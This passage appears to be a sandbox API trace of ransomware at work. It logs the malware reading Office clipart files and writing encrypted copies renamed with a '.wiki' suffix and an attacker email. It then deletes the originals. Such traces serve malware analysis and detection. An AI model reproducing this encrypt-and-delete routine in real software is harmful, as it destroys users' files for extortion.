[0192.991] lstrlenW (lpString=".xlsx") returned 5 [0192.991] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0192.991] lstrlenW (lpString=".ppt") returned 4 [0192.991] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0192.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF") returned 63 [0192.992] lstrlenW (lpString=".zip") returned 4 [0192.992] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0192.992] lstrlenW (lpString=".rar") returned 4 [0192.992] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0192.992] lstrlenW (lpString=".bz2") returned 4 [0192.992] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0192.992] lstrlenW (lpString=".7z") returned 3 [0192.992] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0192.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF") returned 63 [0192.992] lstrlenW (lpString=".dbf") returned 4 [0192.992] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0192.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF") returned 63 [0192.992] lstrlenW (lpString=".1cd") returned 4 [0192.992] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0192.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF") returned 63 [0192.992] lstrlenW (lpString=".jpg") returned 4 [0192.992] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0192.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF") returned 63 [0192.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF") returned 63 [0192.992] lstrlenW (lpString=".doc") returned 4 [0192.992] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0192.992] lstrlenW (lpString=".docx") returned 5 [0192.992] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0192.992] lstrlenW (lpString=".pdf") returned 4 [0192.992] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0192.992] lstrlenW (lpString=".xls") returned 4 [0192.993] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0192.993] lstrlenW (lpString=".xlsx") returned 5 [0192.993] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0192.993] lstrlenW (lpString=".ppt") returned 4 [0192.993] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0192.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF") returned 63 [0192.993] lstrlenW (lpString=".zip") returned 4 [0192.993] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0192.993] lstrlenW (lpString=".rar") returned 4 [0192.993] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0192.993] lstrlenW (lpString=".bz2") returned 4 [0192.993] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0192.993] lstrlenW (lpString=".7z") returned 3 [0192.993] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0192.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF") returned 63 [0192.993] lstrlenW (lpString=".dbf") returned 4 [0192.993] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0192.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF") returned 63 [0192.993] lstrlenW (lpString=".1cd") returned 4 [0192.993] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0192.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF") returned 63 [0192.993] lstrlenW (lpString=".jpg") returned 4 [0192.993] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0192.993] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0192.993] lstrlenW (lpString="J0103262.WMF") returned 12 [0192.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103262.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0192.994] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=12900) returned 1 [0192.994] CloseHandle (hObject=0x220) returned 1 [0192.994] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103262.wmf")) returned 0x20 [0192.994] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103262.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0192.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103262.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0192.994] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0192.994] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0192.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103262.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0192.995] GetLastError () returned 0x0 [0192.995] ReadFile (in: hFile=0x220, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x3264, lpOverlapped=0x0) returned 1 [0192.996] WriteFile (in: hFile=0x1f4, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x3270, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x3270, lpOverlapped=0x0) returned 1 [0192.997] ReadFile (in: hFile=0x220, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0192.998] WriteFile (in: hFile=0x1f4, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0192.998] SetEndOfFile (hFile=0x1f4) returned 1 [0192.998] CloseHandle (hObject=0x1f4) returned 1 [0192.998] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0192.998] SetEndOfFile (hFile=0x220) returned 1 [0192.999] CloseHandle (hObject=0x220) returned 1 [0192.999] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0192.999] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103262.wmf")) returned 1 [0192.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF") returned 63 [0192.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF") returned 63 [0192.999] lstrlenW (lpString=".doc") returned 4 [0192.999] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0192.999] lstrlenW (lpString=".docx") returned 5 [0192.999] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0192.999] lstrlenW (lpString=".pdf") returned 4 [0192.999] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0192.999] lstrlenW (lpString=".xls") returned 4 [0192.999] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0192.999] lstrlenW (lpString=".xlsx") returned 5 [0192.999] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0192.999] lstrlenW (lpString=".ppt") returned 4 [0192.999] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF") returned 63 [0193.141] lstrlenW (lpString=".zip") returned 4 [0193.141] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.141] lstrlenW (lpString=".rar") returned 4 [0193.141] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.141] lstrlenW (lpString=".bz2") returned 4 [0193.141] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.141] lstrlenW (lpString=".7z") returned 3 [0193.141] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF") returned 63 [0193.141] lstrlenW (lpString=".dbf") returned 4 [0193.141] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF") returned 63 [0193.141] lstrlenW (lpString=".1cd") returned 4 [0193.141] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF") returned 63 [0193.141] lstrlenW (lpString=".jpg") returned 4 [0193.141] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF") returned 63 [0193.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF") returned 63 [0193.141] lstrlenW (lpString=".doc") returned 4 [0193.141] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.141] lstrlenW (lpString=".docx") returned 5 [0193.141] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0193.141] lstrlenW (lpString=".pdf") returned 4 [0193.142] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.142] lstrlenW (lpString=".xls") returned 4 [0193.142] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.142] lstrlenW (lpString=".xlsx") returned 5 [0193.142] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0193.142] lstrlenW (lpString=".ppt") returned 4 [0193.142] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF") returned 63 [0193.142] lstrlenW (lpString=".zip") returned 4 [0193.142] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.142] lstrlenW (lpString=".rar") returned 4 [0193.142] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.142] lstrlenW (lpString=".bz2") returned 4 [0193.142] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.142] lstrlenW (lpString=".7z") returned 3 [0193.142] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF") returned 63 [0193.142] lstrlenW (lpString=".dbf") returned 4 [0193.142] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF") returned 63 [0193.142] lstrlenW (lpString=".1cd") returned 4 [0193.142] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF") returned 63 [0193.142] lstrlenW (lpString=".jpg") returned 4 [0193.142] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.142] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0193.142] lstrlenW (lpString="J0105246.WMF") returned 12 [0193.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105246.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0193.242] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=19328) returned 1 [0193.242] CloseHandle (hObject=0x1cc) returned 1 [0193.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105246.wmf")) returned 0x20 [0193.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105246.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0193.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105246.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0193.242] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0193.242] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0193.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105246.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0193.245] GetLastError () returned 0x0 [0193.246] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x4b80, lpOverlapped=0x0) returned 1 [0193.248] WriteFile (in: hFile=0x1e0, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x4b90, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x4b90, lpOverlapped=0x0) returned 1 [0193.249] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0193.249] WriteFile (in: hFile=0x1e0, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0193.249] SetEndOfFile (hFile=0x1e0) returned 1 [0193.249] CloseHandle (hObject=0x1e0) returned 1 [0193.249] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0193.249] SetEndOfFile (hFile=0x1cc) returned 1 [0193.250] CloseHandle (hObject=0x1cc) returned 1 [0193.250] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0193.250] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105246.wmf")) returned 1 [0193.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF") returned 63 [0193.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF") returned 63 [0193.250] lstrlenW (lpString=".doc") returned 4 [0193.250] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.250] lstrlenW (lpString=".docx") returned 5 [0193.251] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0193.251] lstrlenW (lpString=".pdf") returned 4 [0193.251] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.251] lstrlenW (lpString=".xls") returned 4 [0193.251] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.251] lstrlenW (lpString=".xlsx") returned 5 [0193.251] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0193.251] lstrlenW (lpString=".ppt") returned 4 [0193.251] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF") returned 63 [0193.251] lstrlenW (lpString=".zip") returned 4 [0193.251] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.251] lstrlenW (lpString=".rar") returned 4 [0193.251] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.251] lstrlenW (lpString=".bz2") returned 4 [0193.251] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.251] lstrlenW (lpString=".7z") returned 3 [0193.251] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF") returned 63 [0193.251] lstrlenW (lpString=".dbf") returned 4 [0193.251] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF") returned 63 [0193.251] lstrlenW (lpString=".1cd") returned 4 [0193.251] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF") returned 63 [0193.251] lstrlenW (lpString=".jpg") returned 4 [0193.252] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF") returned 63 [0193.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF") returned 63 [0193.252] lstrlenW (lpString=".doc") returned 4 [0193.252] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.252] lstrlenW (lpString=".docx") returned 5 [0193.252] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0193.252] lstrlenW (lpString=".pdf") returned 4 [0193.252] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.252] lstrlenW (lpString=".xls") returned 4 [0193.252] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.252] lstrlenW (lpString=".xlsx") returned 5 [0193.252] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0193.252] lstrlenW (lpString=".ppt") returned 4 [0193.252] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF") returned 63 [0193.252] lstrlenW (lpString=".zip") returned 4 [0193.252] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.252] lstrlenW (lpString=".rar") returned 4 [0193.252] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.252] lstrlenW (lpString=".bz2") returned 4 [0193.252] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.252] lstrlenW (lpString=".7z") returned 3 [0193.252] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF") returned 63 [0193.252] lstrlenW (lpString=".dbf") returned 4 [0193.252] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF") returned 63 [0193.252] lstrlenW (lpString=".1cd") returned 4 [0193.252] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF") returned 63 [0193.252] lstrlenW (lpString=".jpg") returned 4 [0193.252] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.253] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0193.253] lstrlenW (lpString="J0105250.WMF") returned 12 [0193.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105250.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0193.253] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=4628) returned 1 [0193.253] CloseHandle (hObject=0x1cc) returned 1 [0193.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105250.wmf")) returned 0x20 [0193.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105250.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0193.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105250.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0193.253] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0193.254] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0193.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105250.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0193.254] GetLastError () returned 0x0 [0193.254] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x1214, lpOverlapped=0x0) returned 1 [0193.256] WriteFile (in: hFile=0x1e0, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x1220, lpOverlapped=0x0) returned 1 [0193.257] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0193.257] WriteFile (in: hFile=0x1e0, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0193.257] SetEndOfFile (hFile=0x1e0) returned 1 [0193.257] CloseHandle (hObject=0x1e0) returned 1 [0193.257] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0193.257] SetEndOfFile (hFile=0x1cc) returned 1 [0193.258] CloseHandle (hObject=0x1cc) returned 1 [0193.258] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0193.258] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105250.wmf")) returned 1 [0193.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF") returned 63 [0193.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF") returned 63 [0193.258] lstrlenW (lpString=".doc") returned 4 [0193.258] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.258] lstrlenW (lpString=".docx") returned 5 [0193.258] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0193.258] lstrlenW (lpString=".pdf") returned 4 [0193.258] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.258] lstrlenW (lpString=".xls") returned 4 [0193.258] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.258] lstrlenW (lpString=".xlsx") returned 5 [0193.258] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0193.258] lstrlenW (lpString=".ppt") returned 4 [0193.259] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF") returned 63 [0193.259] lstrlenW (lpString=".zip") returned 4 [0193.259] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.259] lstrlenW (lpString=".rar") returned 4 [0193.259] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.259] lstrlenW (lpString=".bz2") returned 4 [0193.259] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.259] lstrlenW (lpString=".7z") returned 3 [0193.259] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 